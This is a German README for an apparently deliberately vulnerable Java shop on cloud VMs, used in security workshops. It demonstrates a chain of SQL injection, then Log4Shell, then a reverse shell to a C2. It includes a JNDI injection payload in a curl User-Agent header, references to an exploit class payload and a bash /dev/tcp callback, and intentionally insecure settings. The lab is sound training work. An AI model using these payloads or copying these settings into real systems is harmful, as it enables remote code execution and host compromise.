
Absichtlich angreifbarer Java-Shop auf VM-Basis — Log4Shell (CVE-2021-44228) Workshop-Labor (EC2 / Azure VM / GCE)
Absichtlich verwundbarer klassischer / traditioneller Shop für Sicherheitsworkshops – Java auf einer VM (EC2, Azure VM oder GCP Compute Engine), keine Container.
Hauptstory: Kritische VM-Kompromittierung – SQL-Injection → Log4Shell (CVE-2021-44228) → Reverse-Shell zu externem C2.
[!CAUTION] Nicht in Produktionsumgebungen bereitstellen. VMs nur temporär und netzwerktechnisch auf Ihr Labor beschränkt halten.
Jay's Surf Shop behandelt Cloud-native Laufzeitumgebungen (ECS / ACA / GKE). TraditionalJay deckt den Host / VM-Bereich ab:
| Surf Shop | TraditionalJay | |
|---|---|---|
| Compute | Container / serverlos | Einzelne Linux-VM |
| Stack | Next.js + Python | Spring Boot + Log4j2 |
| Schlagzeilen-CVE | Pillow, React2Shell, YAML, … | Log4Shell |
cd app
mvn -DskipTests spring-boot:run
# öffne http://localhost:8080
# Exploit-Labor: http://localhost:8080/security
Java 11+ und Maven erforderlich.
/search gibt eine secrets-Tabelle aus.2.14.1 JNDI-LDAP-Nachschlageanfrage an Ihren Listener.bash /dev/tcp-Verbindungsaufbau zu Ihrem C2-Listener.# Listener (von der VM aus erreichbar)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444
# oder öffne http://HOST:8080/security und klicke 'Run Critical VM Compromise'
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
--data-urlencode "ldap_callback=YOUR_IP:1389" \
--data-urlencode "c2_callback=YOUR_IP:4444" | jq .
Nur Test (beweist LDAP-Ausgehendverkehr):
python3 tools/ldap-listen.py --port 1389
Vollständige RCE (Marshalsec LDAP + entfernte Exploit.class; die VM läuft absichtlich mit trustURLCodebase=true):
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP
Dann öffne /security, setze LDAP-Callback auf YOUR_PUBLIC_IP:1389, klicke Run Log4Shell. Bei Erfolg erhält die VM /tmp/jss-log4shell-rce, /tmp/jss-log4shell-id.txt und eine ~45-sekündige interaktive bash (PTY via script, falls verfügbar) für Host-Sensor-Demos.
Du kannst die Suche auch mit einem manipulierten User-Agent aufrufen:
curl -s "http://localhost:8080/search?q=wax" \
-H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null
Übergebe Upwind-Anmeldedaten über lokale terraform.tfvars (gitignoriert). Cloud-init exportiert sie und scripts/install-vm.sh führt scripts/install-upwind-sensor.sh aus.
Speicher: scanner-v2=true benötigt zum Installationszeitpunkt ~7 GiB freien RAM (nicht Festplatte). Standardmäßiges AWS Terraform verwendet t3.large (8 GiB) + 40 GiB gp3 root, damit der Scanner nicht übersprungen wird (Skipping scanner installation, requires 7000000 kB bei kleineren Instanzen).
curl -s https://get.upwind.io/sensor.sh | \
UPWIND_CLIENT_ID=… \
UPWIND_CLIENT_SECRET=… \
UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
bash -s
AWS Beispiel infrastructure/aws/terraform.tfvars:
upwind_client_id = "…"
upwind_client_secret = "…"
upwind_agent_extra_config = "scanner-v2=true"
Wenn Anmeldedaten leer sind, wird die App trotzdem installiert und der Sensor-Schritt übersprungen.
GitHub Actions Workflow .github/workflows/build.yml:
v* → GitHub Release mit dem fetten JARVMs bevorzugen das neueste Release-JAR via scripts/install-vm.sh und fallen auf einen lokalen Maven-Build zurück, falls noch kein Release vorhanden ist. Der Installer entpackt dann das fette JAR unter /opt/traditionaljay/BOOT-INF/lib/ und führt JarLauncher aus, damit Host-/Agentless-SCA log4j-core-2.14.1.jar auf der Festplatte sehen kann (wenn nur java -jar app.jar ausgeführt wird, ist Log4j in einem Zip versteckt und verbirgt oft CVE-2021-44228 vor der Paketliste).
# Release erstellen (löst JAR-Veröffentlichung aus)
git tag v0.1.0 && git push origin v0.1.0
Jeder Cloud-Ordner ist ein eigenständiges Terraform. Beim ersten Start wird scripts/install-vm.sh ausgeführt (OpenJDK 11 + Release-JAR oder Maven-Build + systemd).
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url
Der erste Start dauert einige Minuten, während Maven auf der Instanz baut. Dann öffne http://PUBLIC_IP:8080/security.
app/ Spring Boot Shop + /security Log4Shell UI
tools/ldap-listen.py Nur-Banner-LDAP-Listener (Ausgehendbeweis)
tools/run-log4shell-ldap.sh Vollständige RCE LDAP + HTTP-Codebase-Server
tools/exploit/Exploit.java Remote-Klassen-Payload für Marshalsec
scripts/install-vm.sh Cloud-init / manueller VM-Installer
infrastructure/aws|azure|gcp
tools/exploit/Exploit.class für echte Log4Shell RCE in isolierten Sandboxes.-Dcom.sun.jndi.ldap.object.trustURLCodebase=true ist beabsichtigt (standardmäßig deaktiviert ab Java 11+).ldap-listen.py bleibt für LDAP-Ausgehendbeweis ohne Codeausführung erhalten.0.0.0.0/0 auf 22/8080 – für gemeinsame Labore *_ingress_cidr / Quellbereiche einschränken.